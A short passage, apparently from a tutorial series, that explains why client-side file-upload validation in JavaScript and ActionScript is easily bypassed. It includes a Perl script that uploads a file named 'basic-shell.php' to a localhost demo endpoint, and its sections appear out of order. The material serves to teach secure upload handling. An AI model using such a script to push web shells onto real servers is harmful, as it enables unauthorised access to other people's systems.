Defense and attack. Client side validation using javascript and actionscript.

The dynamic action attribute of the form tag is received from the swf file depending on the file that is being uploaded. We will decompile it for academic purposes. Disabling javascript we block the information exchange and then, add the right action target by editing the HTML form.

Anyhow, an attacker doesn't need any HTML form to upload a file. It can be done, for example, using a Perl script.

#!/usr/bin/perl
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;
$res = $ua->request(POST 'http://localhost/demo3/upload3.php',
    Content_Type => 'form-data',
    Content => [userfile => ["basic-shell.php", "basic-shell.php"],],);
print $res->as_string();

This is the bottom line of client side validation.

  Defense and attack. Client side validation using javascript.

(Take a look at the first article for an introduction to file uploading.)

Most security vulnerabilities revolve around the attacker providing bad or malformed data to the server. As buffer overruns, cross-site scripting attacks, SQL injection attacks, and more.